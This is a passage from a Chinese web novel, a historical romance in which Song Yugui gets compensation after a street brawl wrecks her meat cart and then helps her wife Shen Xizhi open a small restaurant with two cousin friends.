有一日,楚姑娘与池姑娘来吃饭,趁着渝归姐姐在给我烧热水,池姑娘去外头喂鸡时,楚姑娘竟与我说,她艳羡我。 因为我的妻子全心全意扑在我身上,她的眼睛里无论何时都会有我在,闲暇时不是和我说话,就是与我搂搂抱抱。 而池姑娘…… 楚姑娘说她总会被新奇的事物勾去注意,不似渝归姐姐一心一意。 沈惜枝想了一下,当真是这样的,我妻子就是待我如此好。 她脸颊又红了红,在被子里更加缠着妻君了。 声音温软黏腻,“下辈子我还要嫁给你。” 竟说了一段这般完整的话,宋渝归一面嗯了一声,一面心中一凛,看来是我不够努力。 说着便将脑袋埋下去,啃住一颗小果子,吃的极用力,手上动作却也是半刻不停,很快沈惜枝便没了说话的力气,别说是完整的一句话了,她现在只能发出嗯嗯啊啊的音节。 将人狠狠欺负了一通,第二天无论如何也起不来床了,宋渝归一个人餍足的推着车精神抖擞离开。 赚钱赚钱,为了养媳妇好好赚钱! 因家里的猪增加了,李大娘一个人割猪草也不够了,宋渝归又招了一个人帮她割猪草。 宋心雨从池厢月处得知此事,主动要帮她割。 她的竞争理由很充分,她是年轻人,脚程快,一天可以帮着多割几桶。 宋渝归规定的是一天割五桶,她说自己愿意一天割七桶。 工作时讨厌内卷的同事,可现在不一样,她是老板! 所以简直没有多犹豫,同媳妇儿说过一声后,她就选了宋心雨。 宋心雨说自己要攒钱离开这个小村子。 这么一大早,宋渝归去养猪场宰了一头猪出来便遇见一个人背着三个背篓。 背上一个左边肩膀一个右边肩膀一个,赫然就是宋心雨。 见了宋渝归她大大方方主动打招呼,“宋渝归。” 模样看着开朗不少。 宋渝归也随口寒暄着,“这么早就上山?” “嗯,顺便看看有没有野菌菇摘。” 她也时常摘了野菌菇拿出去卖钱。 “那宋姑娘慢走。” 未免惜枝又不知道从哪冒出来,看见这一幕,宋渝归匆匆和宋心雨道别,推着车独自一人去镇上。 宋心雨本还想问她沈姑娘怎么不在的,见她走得如此着急,也便咽回去了。 她去宋渝归的摊子上买过几回肉,那两人简直焦不离孟,孟不离焦。 今日竟然没一起出来。 宋渝归一去镇上便将肉摆好,周边闲逛的人见她来了,顺势过去买肉。 如今镇上只有两个屠户,她也忙了许多,一直不得空,给人挑肉割肉,有些要求高的还得帮忙片一下,或剁成臊子,半日下来,也是腰酸腿软。 但今日赚了一千九百文。 近二两银子了。 她没舍得花,收了一下东西正要回家,走到半道发现,前面似乎有人在打架,不等她反应过来推着车避开,一个人影彭的从人群中飞出来,就这么在她紧缩的瞳孔中砸上她的推车。 她眼睁睁看着自己日拖三百斤肉都没啥事的车,断了……断了。 那倒在她推车上的人还猛的吐了一口血,吓得她赶紧缩回自己握在车上的手,生怕人家要找她赔钱。 会吗,不能吧,又不是她打的,可是是砸在她的东西上才吐血的,不会要人道主义赔偿吧? 想到许要出钱,宋渝归心都在滴血。 她愣愣站在马路中间,被人扯了一下才反应过来,下意识扭头去看扯自己的人,居然是池厢月。 在混乱的街上,车还被砸断了,能遇见一个自己熟悉的人让宋渝归心里莫名安心多了。 “宋姑娘,这个人……我没对他动手!” 他可是自己飞过来的! 池厢月脸上闪过一丝不自然,点点头,“我知道,我当然知道,你这细胳膊细腿儿的,怎么会打人呢,这两个看起来像是江湖人士,想必是私人恩怨,不慎波及了你。” “啊,那我也太倒霉了吧?” 宋渝归眉心紧皱,早知道今日就不省钱了,她若去买些东西再回家,肯定已经避开这桩麻烦事了。 如今想起来当真后悔。 池厢月身边站着楚晚棠,从方才开始便没有说话,目光沉沉的落在那被打之人身上。 周围围观的百姓听池厢月说那是江湖中人,顿时骂骂咧咧埋怨起来了,说他们仗着自己武功高强,又来害老百姓的营生。 不等池厢月想出解决办法,一队官兵就来了,不由分说要将人带走。 宋渝归身为受害者,也被带走了,她第一次在古代见官,虽然知道自己是无辜的,但她怕这是个昏官啊! 因此心绪十分紧张。 高堂之上挂着明镜高悬,一绿色官袍的男子头戴乌纱帽,手握惊堂木,坐在上首,往桌子上重重拍了一下,方才已问过他们身份姓名了,眼下问的便是发生了何事,为何打斗。 那打人的是一名黑衣女子,她看了被打过一顿,嘴角挂着血丝的男子一眼,又悄悄看了池厢月一眼,最后毫不犹豫泼脏水,“大人,他偷我东西,小人不过是想拿回自己的东西,他却不允,因此出手。” 那大人又扭头看向男子,询问,“这位姑娘所言可属实?” 男子脸色一黑,被打还要被泼脏水,明明就是…… 他正欲上前说话,有一道冷冷的视线瞥过来,于是霎时闭嘴,低头认了。 “那你又是怎么回事?” 知县看向宋渝归。 宋渝归低头躬了身道,“这两人打斗,无意中毁坏了小人的车子。” 跟几个打人者比起来,她一个无辜老百姓就显得比较可怜惹人怜惜了,几乎不用怎么商议,知县就给两人定了罪。 但古代律法不完善,关于两者斗殴误伤旁人具体怎么判并没有明确的列出来,知县也好是犹豫了一会儿,才听得下面另一女子道,“不如赔钱吧大人。” 知县抬头看去,见有个身穿月白长裙,袖口收紧的利落女子,又觉得这女子有些眼熟,下意识问,“你又是何人?” “我名池厢月,是她的邻居,目睹了这两人恃强凌弱。” 这就是目击证人了。 知县撩着胡子,“池厢月?我怎么听得有点耳熟呢,长得也眼熟,哦,你是……” 知县用力一拍惊堂木,就要说出她的身份,被她赶紧抢了话,“我是本地池夫子的女儿!” 对方也像是反应过来了,立马接声,“对对对,你是池夫子的女儿,池小姐方才说要如何?” 池厢月重复一遍,“赔钱。” 宋渝归本还在发愁再弄个推车又误工的事,一听她说赔钱,眼睛就亮了,腰板挺直,对啊,她又没碰人家,她是平白遭祸的,现代发生这种事除了赔该赔的钱外,连误工费精神损失费都得赔呢,她也要! 没了推车,新的定制完之前她都不能上工了,误工费也要,刚刚一个大汉当着她的面吐血了,精神损失费也要! 知县听她一说,甚至连犹豫都没有,就拍板决定了,“你们二人当街斗殴乃是私怨,你虽然偷了人家的东西,但她也已将你打伤,如此便算扯平了,但这位姑娘无辜被牵连,你们却需得给予她补偿。” “嗯……让本官想想。” 知县低头沉思,实则在悄悄看池厢月,待不见对方有任何指示后,才自顾自做了决定,“这样,你们一人赔她五十两,方可免牢狱之灾。” 宋渝归与两个暗卫皆瞳孔地震,什么!五十两! 那破车有哪里看起来值五十两吗? 饶是车主本人也不好意思要啊 她正欲推脱便被池厢月拉了拉袖子,“收下吧,江湖中人都有钱的很,五十两于他们而言就跟五十文差不多。” 两位被迫有钱的暗卫一言不发,脸色愈发冷冽,看向对方时都恨不得把对方一剑刺穿。 知县已拍板将罪责定了下来,宋渝归也收了钱,但精神有些恍惚,碰瓷……来钱这么快的吗? 是的,她感觉自己今天多少有点碰瓷了。 本来只想要个四五两,转头得了一百两,对方还跟什么遵纪守法好公民似的,非要她收下这笔钱,明明知县判的时候看起来那么不乐意。 她哪知道人家有主子发话,不得不从。 池厢月见她还没有回神,冲她挥挥手,“好了,今天你也受惊了,这笔钱是你应得的,你就拿着呗,这有啥,快回去吧,耽误这些时候,惜枝都等急了。” 一说到惜枝,宋渝归精神一震,确实,这个点儿午时都要过了,惜枝怕是在家里要急死了。 她连忙与池厢月楚晚棠告别回家。 留下这两人站在街头,池厢月有些心虚,拉了拉表妹,小声说,“回去吧,我想出恭。” 楚晚棠:…… 找的什么破理由,能不能找个好点的。 她无奈道,“嗯,我刚好也要去书房写一封信寄回家。” 她隔几日便会往京城寄一封家书,池厢月是知道的,虽然池厢月觉得自己的舅舅做爹一般般,不值得表妹如此挂念,但那毕竟是表妹的父亲,她也没说什么,点点头,两人一回府就分开了。 隐蔽的柴房里,池厢月压低声音破口大骂,“你脑子有病吧动静闹这么大,我表妹生性聪慧,差点被她看出来了知不知道!” 这种小地方,她住两年了都没见过什么江湖人,当着表妹的面扯谎真叫她汗流浃背了。 也不知表妹看出什么来没有。 “叫你办完事来回话,你打架干嘛!” 越想越气。 暗卫冷脸答,“主子,是那人发现了我,以为我是别人派来的,想夺我令牌,我逼不得已才……” 对方轻功甚好,她怎么也甩不掉。 池厢月气死了,生怕表妹发现她背着她搞小动作。 但事已至此,算了,“我让你揍得人你揍了没?没被人发现吧?” 表妹一来就说自己在京城里被欺负了,池厢月越想越气,整日欺负表妹的除了那几个还有谁?这口气表妹咽了她也咽不了,于是隔三差五派人回京打人,还要去的人记住他们被打时的惨样回来好与她描述一下。 但表妹不赞同她再进京,也不许她派人回去,所以只能偷偷的,偷偷的。 尤其这次打的是表妹的庶兄,她更不想让表妹知道了。 那楚攸宁居然敢写信骂我表妹,岂有此理,简直是不知天高地厚,即使我们也是表亲,但敢欺负我表妹我也是不会容你的! 哦,你问我咋知道的,当然是我表妹说的! 表妹那日心情不好,我一问,她居然说楚攸宁写信来骂她。 不是,楚攸宁的脑子是读书读傻了吗,我看他真是不想活了! 我说要偷偷入京去打他,表妹不让,我说要派人去,表妹也不许,竟是想自己吞了委屈,这怎么行,我光听着都要心疼死了。 于是当机立断,阳奉阴违…… “令牌拿回来没?”她又紧张问,没想到表妹的人眼力这般好。 “回主子,拿回来了。” 池厢月轻轻松了口气,拿回来就行,那表妹应该没有发现。 “下去,短期内不要再露面了。” “是。” 暗卫身形一闪消失在屋内。 另一边,楚晚棠便要光明正大多了,她懒洋洋躺在书房的大椅子上,眼尾斜睨看向跪在地上的暗卫,将人打量了几遍,片刻,唇角勾起一抹冷笑,捡起桌上玉色的镇纸便用力扔过去,冷言冷语,“蠢货,连自己人都不认识,我要你有什么用!” 那人刚被打过一顿,本就受了内伤,一下没经受住,被砸的歪了一下身形,又立马跪直,“属下知错,请主子责罚!” “没用的东西,成事不足败事有余,自己下去领罚!” “是!” 暗卫不敢多言,打开窗子很快便消失在她眼前。 楚晚棠不耐厌烦的神色渐渐被压下去,她眉心微蹙,十分发愁,表姐笨笨的,应该不知道我派人跟踪她吧? 她若知道了,一定会生气的。 第87章 开店 宋渝归拿着沉甸甸的一百两回家,心里想着一会儿怎么和媳妇儿说这一天离奇的经历,结果半道上就和惜枝相遇了。 沈惜枝神色本有些急切,见到她后才眼前一亮,急忙向她跑来,“妻君!” “惜枝。” 宋渝归应了一声,张开手臂,沈惜枝顺势扑进她怀里。 她便伸手将人揽着。 “怎么出来了?” 她温声询问。 沈惜枝抱紧她,撇着嘴,委委屈屈,“你怎么现在才回来啊,我饭都做好了,见你一直没回来,心里好担心。” 最近肉卖的都快,妻君明明回来很早的。 宋渝归抱了一会儿又松开,揉揉妻子的小脸,哄她,“路上出了点事所以回来晚了,我们回去再说吧。” “嗯。” 沈惜枝小心的依在人左右,与她一道回去。 路上来往的村民简直没眼看,但还是和她们打招呼了,“渝归,带你媳妇儿出来玩啊?” “嗯,我们随便走走。” 村里人习惯了两人的黏腻,虽然欲言又止,但没真说什么。 人家小妻妻正是年纪轻黏人的时候呢。 两人回到家—— “什么!今天镇上有人打架把你摊子砸了?!” 宋渝归见媳妇儿瞳孔地震,无奈点头,“我没躲开,吓了一跳。” 沈惜枝紧张极了,一个劲儿摸着她身子问她有没有被人伤到,然后两只爪子就被控制起来了。 “你别乱摸啊,我这不是好好的吗,我还没说完呢,那个人摔在我车上吐血了,把我车都砸断了,然后就有人报官了,我和他们还有池姑娘楚姑娘一起去了趟官府。” 沈惜枝二度瞳孔地震,一起去了趟官府? 她就一个普通的乡下小百姓,自然觉得官府不是啥好地方。 宋渝归温声解释,“别担心,没出啥事,知县判了他们赔我钱,有一百两呢。” “多少?” 沈惜枝前面还又急又心疼的,满脸写着妻君你受委屈了,直到听见后面,眼睛再度睁圆,夺少??? “一百两,知县说他们坏了我的车,要一人赔我五十两。” 沈惜枝:!!! 我们的车,有这般值钱吗? 两人对视一眼,都从对方眼里看出了这句话。 沈惜枝不敢相信,蹙着两道细弯眉,“真的吗?五十两?” 这可是五十两,就赔一辆有些破旧的木车? “是,五十两。” 她再度肯定,并从怀里拿出荷包,两个荷包都是沉甸甸的,沈惜枝倒出来,惊叹了一下,“竟然能赔这么多。”一百两她们好歹也得两个月才能挣到,现在居然白白就得了。 “明日我去将这一百两存入钱庄,感觉很快就能攒够钱了。” “嗯嗯,好~” 她也觉得快了,如今两人已有六百多两,只剩下一小半,等家里的猪养成,再去卖了猪肉,又是一笔收入。 午饭吃的是菌子炒肉,还有一碗菌子汤。 菌子炒肉时吸满了汤汁,做汤时又十分鲜美,太好吃了。 沈惜枝见她吃的高兴,眼里划过几分笑意,又给她夹了一筷子肉,温声道,“这是宋姑娘今日上山摘的。” “她送你的?” “嗯。” 自两人因宋心雨发生过巨大争吵,她说再也不吃醋后,好像便真的不吃醋了。 现在都会主动和她提起宋姑娘了。 宋渝归欣慰的笑了笑,“那该多谢宋姑娘了。” “嗯,我送了宋姑娘肉,她不想要,但我还是给她了。” 大娘二十文是一天割五背篓猪草,而宋心雨却一天割七个背篓,有时还割八桶,摘了野菌菇也不忘给她们一点,这肉是宋姑娘应得的。 “嗯,你做的很好。” 见媳妇儿一脸乖软的看着她,宋渝归忍不住开口夸人,然后就看见她眼眸更加明亮了,显然此时心情很好。 为了将猪养的更肥壮,也为那几个即将出生的猪崽子,宋渝归虽然花钱请了人割猪草,割的也不少,但她自己偶尔还是会上山割几桶给猪加餐,这种事沈惜枝自然要跟着,一人两桶能给猪加两天的餐呢。 生活愈发平静,转眼又到了一年冬日,这段时间只发生了一件大事,楚晚棠与池厢月要跟随池夫子回京办点事,但据她们所说,事情办完就会回来了,少了两个人蹭饭,日子过得也有点冷清。 每日就是宋渝归卖完了肉,拎着今天要吃的肉回来,中午吃完饭两人躺床上午睡,睡醒了做晚饭,吃完看星星看月亮,再出去走一走,又开始睡觉。 安静,太安静了,安静的人有点不习惯。 临近年关, 宋渝归宰了家里几头已经生过崽的母猪,小猪崽能卖的都卖了,再加上宰杀的母猪,家里只剩下刚好十五头猪,看起来不大拥挤,因为里面还有小猪,等小猪长大了,它们恐怕翻个身都困难。 等快过年时,钱竟攒的差不多了,两人都很高兴,池姑娘还没回来,今年就两个人过,宋渝归将媳妇儿抱到腿上坐着,笑眼盈盈,“钱攒够了,等年节过了,我就给你买铺子,全价买下来你就算经营的不赚钱也没关系,咱自家店面,不必交租金的,没有压力。” “嗯嗯,那我肉可以从你这进吗?” “不是可以吗,你当然要从我这进肉,这样本钱也少些,若卖的好,我以后一天杀两头猪,你一头我一头。” “嗯嗯!” 想到日后自己能和妻君一起赚钱,沈惜枝就有点期待盼望,但与此同时又难免担忧,小小声,“万一没人来吃怎么办呀,卖不出去……” 那她还是会有一点难过的。 宋渝归抱着人哄,“没人吃就等我卖完了过去吃,没事的,有人吃很好,没人吃也没关系,只是给你找点事情做罢了。” 听她并不是真的盼望自己开店能赚很多钱,沈惜枝心里顿时安心,乖乖应声,“嗯!如果没人吃,我们就自己吃。” 春节过后,宋渝归在复工之余,就带着惜枝看铺子去了,两人去年看中的铺子已被人租下,今年只得去别的铺子看看,幸好,也有合适的,只是稍微小了点,里面约摸能放六张桌子,宋渝归打算专门定做现代那样的长方桌,放左右两排,刚好一排放三张。 因为地方不大,价格也比前头看的便宜了二百两左右,还能给她们剩些银钱装修一下。 宋渝归问了惜枝喜不喜欢,得到肯定的答案后直接与人签订合约买了下来。 店名她们还没想好,她想叫江西小炒被惜枝面无表情否决了,古代好像店名都比较文艺范儿。 罢了,这不重要,可以先装修嘛。 宋渝归抱着媳妇儿,与她说着自己的想法,“碗碟我们买三套白玉的,再买三套梅子青好不好?” 她喜欢梅子青,但看其他店好像都是简约的白玉款。 沈惜枝对此没什么意见,微微点头,她又说,“桌子用红木的?我们买成套桌椅,我过去定制一下。” “嗯,都听你的。” 两人你一言我一语定了这店究竟要怎么弄。 巧的是,店装修到一半,池厢月和楚晚棠又回来了。 那日宋渝归带媳妇儿去镇上卖肉,卖完回来,就见两个人在她家院子里。 池厢月正追着鸡满院子跑,楚晚棠坐在椅子上,温柔的看着她跑。 宋渝归忙碌一天有些疲惫的心情一下子好了,高兴的大老远就喊,“池姑娘,楚姑娘。” 池厢月正好眼疾手快,一把摁住了那只奔跑的鸡,听见声音下意识抬头,手一松,鸡又跑了,她也顾不得,“哎,渝归,惜枝,你们回来了?” 宋渝归带着老婆小跑过去,“嗯,刚回来,你们到多久了?” “我们也是刚到。” “那这次回来还走吗?” “不走了啊,在这里挺好的。” 池厢月笑眯眯道。 她是真的挺喜欢这里的,又有好吃的饭,又清净,没什么事打扰她们,活的挺好。 “嗯,池夫子也和你们一起回来了吗?我有事想请夫子帮忙。” “啊,我爹没回来,他留在京城了,啥事啊,很要紧吗,你跟我们说说呗,我就不信有啥事是我爹能干我不能干的!” 池厢月双手叉腰,莫名表现的十分不服。 宋渝归:…… 这也比? 她与惜枝对视一眼,皆看到了对方眼中的无奈。 她直言,“是我盘了店面,但没想好叫什么,所以想请池夫子帮我们取名,再提一下字。” “嗐,我当什么事呢,就这点事?这事儿棠棠也能做啊。” 池厢月拉了拉身边的小表妹。 “我家棠棠自幼熟读四书五经,文采斐然出口成章,你让她来也一样啊!” 三人齐齐望向楚晚棠。 莫名被安排了事的楚晚棠:…… 慢半拍后捻着袖子问,“你们已经盘好店面了?” “对啊,正请了人修缮一下,不日就可用了。” 她点点头,“那你们有想过要取什么样的名字吗?” 宋渝归摇摇头,又挠挠后脑勺,“不清楚,总归文雅些吧。” 她看旁人都这样。 楚晚棠听闻,沉思片刻,并未想太久,便接道,“桥横水木已秋色,赤倚云峰正晚晴,就叫秋晚楼如何?” 宋渝归眼睛一亮,“我看行,这个文雅又好听,那能否劳烦楚姑娘替我题字?” 楚晚棠自然不会拒绝,池厢月还在一边吹嘘着,“我表妹字写得可好了,比我爹好多了,你就不该找我爹,就应该找我表妹的。” 被楚晚棠拧了一下手臂,她淡淡道,“没大没小,这话当着爹爹的面你可敢说?” 宋渝归一惊,已经叫上爹爹了? “嘿,我说你好,你还不高兴。” “好不好的不是你一张嘴便能决定的。” 楚晚棠从小受池景明教导,对其还是很有几分尊敬的。 池厢月不能跟她吵架,不然晚上睡不好了,只能悻悻住嘴。 家里多两个人说话,也热闹几分,宋渝归心情好了,沈惜枝心情也好了,从家里拿出自己前头摘的黑红果子,“你们一路辛苦了,快来尝尝这个果儿,可好吃了。” 楚晚棠矜持些,微微颔首道谢,池厢月却是已经等不了了,连忙过去就尝了两个,味道果然清甜。 她眼睛一亮,“这上哪买的,我怎么没见过?” 她从前也算是锦衣玉食荣华富贵山珍海味吃之不尽,还真没尝过这玩意儿,瞧着不大一颗,吃起来很不错,汁水也足。 “山上结的,我和妻君割猪草时看见了,摘了几个回来。” 池厢月一边问,“没毒吧?” 一边咔嚓又咬了一口。 楚晚棠:…… 你这是担心人家有毒的样子吗,万一有毒第一个就把你毒死了。 沈惜枝摇头,“没有,其他人也吃的。” “哦,那就行。” 池厢月又吭哧吭哧吃起来。 几个果子基本都进了她的肚子。 秋晚楼的名字定下,等过几日匾额做好,楚晚棠就帮着提了字,然后让人将匾额高挂上去。 四人凑在一起商量菜品价格。 “惜枝做饭那般好吃,依我看,就是一两银子一道菜也使得。” 宋渝归、沈惜枝:…… “这不是你的京城,好好说话。” 京城寸土寸金的地方,若是做菜做的好,还真能卖到一两一道菜,甚至一两银的菜也不算太贵, 但这只是个小县城,如果她敢这么定价,明日就要倒闭了。 她才不干呢。 沈惜枝犹犹豫豫提议,“糖醋排骨定三十九文,好吗?” “三十九???文?” 池厢月惊了,“我看我以后也不用来你们家蹭饭了,我每日都去店里吃,才三十九文,跟不要钱似的,还能点菜。” 反正她是这么想的。 可说完就被在场三人齐刷刷瞪了一眼,旁人瞪她也就算了,表妹为什么也瞪她? 她不解,被表妹扯的一个趔趄,还颇为委屈,“怎么了嘛,我又没有说错。” 她说的没问题啊! 表妹头疼扶额,“表姐的意思是,这个定价实在太便宜了,恐会被百姓哄抢,据我所知,一斤肉也才三十五文。” “可一份糖醋排骨里只有半斤肉呢,而且我肉都是妻君给我的,只要二十八文,已经赚十一文了。” 楚晚棠摇摇头,“不是这样算的,你的菜许多我在外面都没有吃过,算是你的独门秘方,这便值五文,你是开店的,并非做慈善,店面的钱总得算上去,一人便为你分摊五文,客人来你店里用膳还得劳你收拾,这又是五文,菜是你做的,你自然要拿辛苦钱,五文做一道菜并不算贵,再加上本钱三十五一斤的肉,起码得五十五一份才差不离。” 池厢月呆愣,“什么,独门秘方才值五文钱?!” 她觉得好少哦。 被楚晚棠看了一眼,“若是定的贵些,这里的人未必买得起。” 也是。 小县城物价不算低,但也绝对不高,和京城是比不了的。 沈惜枝也呆愣,红唇微张,“啊,可是我本钱才二十八。” 楚晚棠面不改色,“旁人不知道,你没必要说,本钱自然要按市价算,不然你赚什么?店里坏了东西,那些客人可不会给你修,都得你自己花银子补齐,银子从哪来?” 她早早接手了母亲的产业,自然知道怎么将一家店铺经营起来。 沈惜枝似懂非懂的点点头,愉快的决定就听楚姑娘的了! “好,那糖醋排骨五十五文,番茄炒蛋呢,这个是素菜,是不是少定一点?鸡蛋都是自家鸡生的,番柿也是自家种的,不花什么钱的。” 楚晚棠不同意,“不可,素菜价位若太低,权衡利弊了谁还愿意去吃荤菜?且番柿售价并不低,只是你在家中有种罢了,可你种的番柿难道不必辛苦浇水施肥吗?万一卖的好还是得从外头进货。” “番柿外面售价十文,鸡蛋我不知道多少,但总归也是要花钱的,那便定三十五文吧。” “可是……现在的人还没试过吃番柿,卖这么贵,他们敢吃吗?若不然池姑娘去扮个食客,买一道番茄炒蛋吃给他们看看?” 现代就时常有店铺刷评论,那她刷一下客人咋了? 池厢月:…… 楚晚棠差点没忍住笑,薄唇勾起。 “我与渝归姑娘的想法一样,这件事由我来安排,必定能将这道菜的名声打响,你且放心。” 池厢月虚虚揽了一下表妹腰,“还是棠棠聪明。” 楚晚棠娇嗔的瞪了表姐一下,她平日里正事不干,净会说好听话。 被人瞪了,池厢月心虚,还以为自己不知何时又招惹表妹了,哪晓得下一刻,表妹便懒懒倚在了她怀里。 不像是生气的样子,那就是单纯闹脾气而已,那还行。 她亲昵的揽着表妹,几人一起就把价格给定了,还叫人弄出一张菜单来,楚晚棠亲自写的字,清晰又好看。 她虽有很多铺子,但都是经营好了直接交她手上的,如这样一步一步自己来的,还是第一次,心里自然有几分新鲜,什么都愿意陪着看一下弄一下。 新店开张那日,宋渝归还搞了活动,点任意两道荤菜送一道素菜,面食手抓饼等并不在列。 这家店与旁的店面不同,价格竟是明明白白写在堂前的,若是不识字,还可以问掌柜的。 掌柜的是位女子,性情……很有些活泼热情。 没错,这位掌柜就是池厢月。 她们新店开张,装修都将家里的银钱花了个七七八八,再请掌柜虽然也请得起,但还不确定能不能盈利呢,不想支出太多,最后池厢月就兴致勃勃自告奋勇上了。 楚姑娘没来,说是要处理几封信件,回头会去店里买一桌菜假装客人的。 一开始店面刚开张,即使说了优惠,旁人也习惯性去人更多的店吃,直到晚秋楼陆续有人走进去,旁人便也抱着试一试的心态进去了。 里面炒菜卖的价格倒是不便宜,但也有便宜的,手抓饼就很便宜,才八文一个,加一颗鸡蛋两文,加里脊肉三文,加牛肉五文。 就算全加了,也不过比荤面贵一些吧。 抱着试一试的心态,有些人就点了手抓饼,沈惜枝从里面出来,手里拿着小本本,她最近学会了很多字,可以自己记一下客人想吃什么了。 “一个素饼吗?” “哎对,你们这素饼是八文钱吗?” 和其他东西比起来,这个饼就显得很便宜了。 沈惜枝抿唇笑了笑,“是的,素饼八文一个,您想加什么菜可以另加。” “另加是怎么加?” “包在饼里吃。” “和馒头夹肉一样吗?” 沈惜枝思量了一下,点点头,“差不多,您要加吗?” 对方也在犹豫,最后才咬咬牙,道,“那就加一个里脊肉吧。” “好,十一文,您稍等。” 沈惜枝记了几个人的,就去后厨忙碌了,里面面团早已提前和好,里脊肉也已经切好片了,只要加工一下就好。 宋渝归很快从外面进来,店本就是卖午饭与晚饭的,开在大中午,她肉都快卖完了,眼下直接接替沈惜枝的活儿,询问客人想吃点什么。 大多点的要么是手抓饼要么是简单的一碗面,价格便宜,也有几个家用富裕些的,见托儿坐在一边吃菜吃的津津有味,不由上去询问味道。 那都是楚晚棠找的托,能说不好吃吗,自然一个个连忙点头,做出一副没工夫回话一心干饭的样子。 客人见他们如此,哪还有疑心,忙去宋渝归处也点起了自己的菜。 番茄炒蛋也有人问了是什么,宋渝归便指了指某位托桌上的菜,温声道,“这就是了。” “从未见过这道菜,真能吃吗?” “很好吃的,您尝尝吧,我们新店开张,买两道荤菜送一道素菜。” 她这样说,对方也没再犹豫,利落的点了两道荤菜,红烧肉与红烧鱼,送的素菜便要了这一道。 红烧肉定价是五十文,鱼卖的比肉便宜许多,只定了四十文。 沈惜枝在屋里忙的手都要断了,但幸好,总共才六桌,除了那些已经做好菜的托,其他人的饭也不过是忙一阵就好。 宋渝归需要在外头招待客人,可又觉得里面的媳妇儿辛苦,一直愁眉不展,直到楚晚棠过来,说她会吓到客人,她才赶紧松了神色。 第一个吃完了手抓饼的客人并未离去,而是上前问了可否外带食物,这自然可以,手抓饼这类方便的东西,她们早有准备,就知道有人会提外带。 这人只舍得给自己加里脊肉,外带那份竟加了一份牛肉一份里脊肉。 好不容易忙到未时,店里才没什么客人了,沈惜枝从屋里出来,二话不说蒙头埋进妻子怀里,也顾不得周围有两个看着了,她就要抱妻君。 那两人也只是眼观鼻鼻观心,默契的当做看不见。 沈惜枝整个埋在妻子怀里,被她安抚的抱着,摸摸脑袋,好一会儿才说,“好累呀。” 是累,才第一日,宋渝归已经开始心疼了。 她忍不住道,“要不我们还是不做了,太辛苦了,”你就陪我卖肉好了。” 沈惜枝:…… 我只是想要你哄一下我,你上来就掀屋顶是要干嘛? “那,那我还是要做的,铺子都买了,我就是与你撒一下娇嘛。” 沈惜枝也不复以往扭捏,这些话总藏着掖着不肯说,现在总之是愿意说了,想到什么说什么,偶尔到高兴处,还肯在人前亲她呢。 宋渝归眯了眯眼睛,心想,原来是撒娇,但既是撒娇也一定是真累着了。 她仍旧疼爱媳妇儿的紧,一边哄她一边帮她揉手臂,池厢月都没眼看。 她刚扭头欲和表妹蛐蛐两人,见表妹神色饶有兴味的望着她,霎时闭嘴了。 我表妹也不是啥安分的,虽然我很乐意承受。 沈惜枝低头,白瓷般的颈项无意在人眼前显露,宋渝归表面正经,实则趁另一对妻妻不注意,偷偷伸手摸了一下。 那俩没有察觉,但被媳妇儿娇嗔的瞪了一眼。 小媳妇儿连瞪人都可可爱爱。 “咳,你趁着现在没人赶紧休息一会儿,别站着了。” 宋渝归是站着的,沈惜枝一过来便将自己投进她怀里,自然也是站着的,她心疼媳妇儿,忙又把人扶坐下了,摸着下巴道,“每天这么忙也不是个事儿,我给你找个烧火的,再找个打杂的好不好?” 打杂就是兼顾收拾,还有备菜。 沈惜枝鼓着腮帮子,即使想省些钱,这时候也不得不认了,一个人真的忙不过来,她又做饭又烧火,手忙脚乱的简直想把自己塞火灶里头了。 “嗯,找两个帮忙,打杂的需得会识字才行,可以多给她一些钱。” 打杂的相当于店小二,还要帮客人点菜的,忙碌程度不输她,自然得多给些。 “嗯,我知道。” 沈惜枝虽坐在凳子上,但小脸依旧靠在妻子腰上,依赖乖巧。【你现在阅读的是 】 第88章【正文完】 第88章 正文完结——摊牌 因为没吃过番茄炒蛋,她们是第一家把番柿做成菜的人,番柿炒了鸡蛋后味道又非常好,汤汁浓郁,浇在米饭上让人食指大开,一时这道菜在县城里都出名了,许多人慕名而来。 店里生意大好,除了番茄炒蛋外,糖醋排骨与手抓饼也极受一些人喜爱。 年轻人与小孩偏爱糖醋口的菜,中年人更喜欢手抓饼多一点,方便,带上就能走。 惜枝忙的热火朝天,时常连喝口水的功夫都没有。 宋渝归没成想能这么忙,每天卖完自己的肉就去沈惜枝摊子上帮忙。 陪她一起忙的团团转。 堪堪一个月,宋渝归又受不了了,虽然才六张桌子,但是客人他会排队啊! “我们再招一个打杂的吧 。” 沈惜枝乖乖依在妻子怀里,宋渝归揉着她软嫩小手,又道,“要不再找个厨子,简单的菜让他来做?” 她也见不得媳妇儿辛苦。 可沈惜枝摇摇头拒绝了,小姑娘声音轻轻软软的,“找个打杂的店小二就好了,有人帮我备菜,我做的不累的。” 做饭最麻烦的是备菜这一步,但现在已经有人包了。 宋心雨扫地扫到这,脸上带着正常人上班的怨气,“抬抬脚啊。” “哦哦。” 几人连忙让开,她又叹了口气,“要找就快找吧,每天忙死了。” 开店之前没人想到生意会这么好。 池厢月还十分得意,“我就说惜枝做饭手艺比名厨还好吧。” 不怪她爱吃,真的很好吃! “你也是闲的没事干,真要每日在我这做掌柜?” 池厢月也有她娘给她留的铺子,手里并不缺银钱,因此每日都闲得无聊来给她们当掌柜。 “嗯哼,是啊,反正也没事干,最近棠棠忙,等她忙完了她也要来的。” 这对妻妻已经对养成一个店铺的事很感兴趣了,也不要工资,就要来。 宋渝归一想那也没事儿,大不了等她们兴趣过了自己再招个掌柜就是了。 她的日子算是稳定下来了,媳妇儿一日日银钱赚的比她还多,每天美滋滋坐在床上数钱,数完了之后又把所有钱都装在小匣子里推给她,“给你花,都给你花。” 宋渝归挑了挑眉,“这是你赚的钱。” “嗯,我赚的钱也给你花。” 她好乖,不愧是我老婆,宋渝归心软软,“真的给我?” “嗯,家里的钱都给你。” 她没忍住问,“怎么都给我了,你不要吗?” 沈惜枝乖乖摇头,“不要呀,我不要钱的,妻君对我好就可以了。” 宋渝归:…… 不要说让我这么感动的话啊! 她没忍住,凑上去亲亲老婆,声音甜的不得了,“老婆~媳妇儿~你对我真好。” 沈惜枝也温温柔柔的,“嗯,你对我也好,我对你好是应该的。” 妻君总说她好,其实她才是最好的,虽然刚嫁过来时,妻君有一点凶,可是后面就…… 她其实很不明白,一个人的转变怎会如此大? 一下就从一个爱调戏女子的小混混变成了家中的顶梁柱,也真将她当做妻子一般对待。 沈惜枝想到从前的妻子,心中有些不安,坐在宋渝归怀里,不停仰头去吻她,一会儿亲她嘴角,一会儿舔她唇瓣,可爱,像小猫。 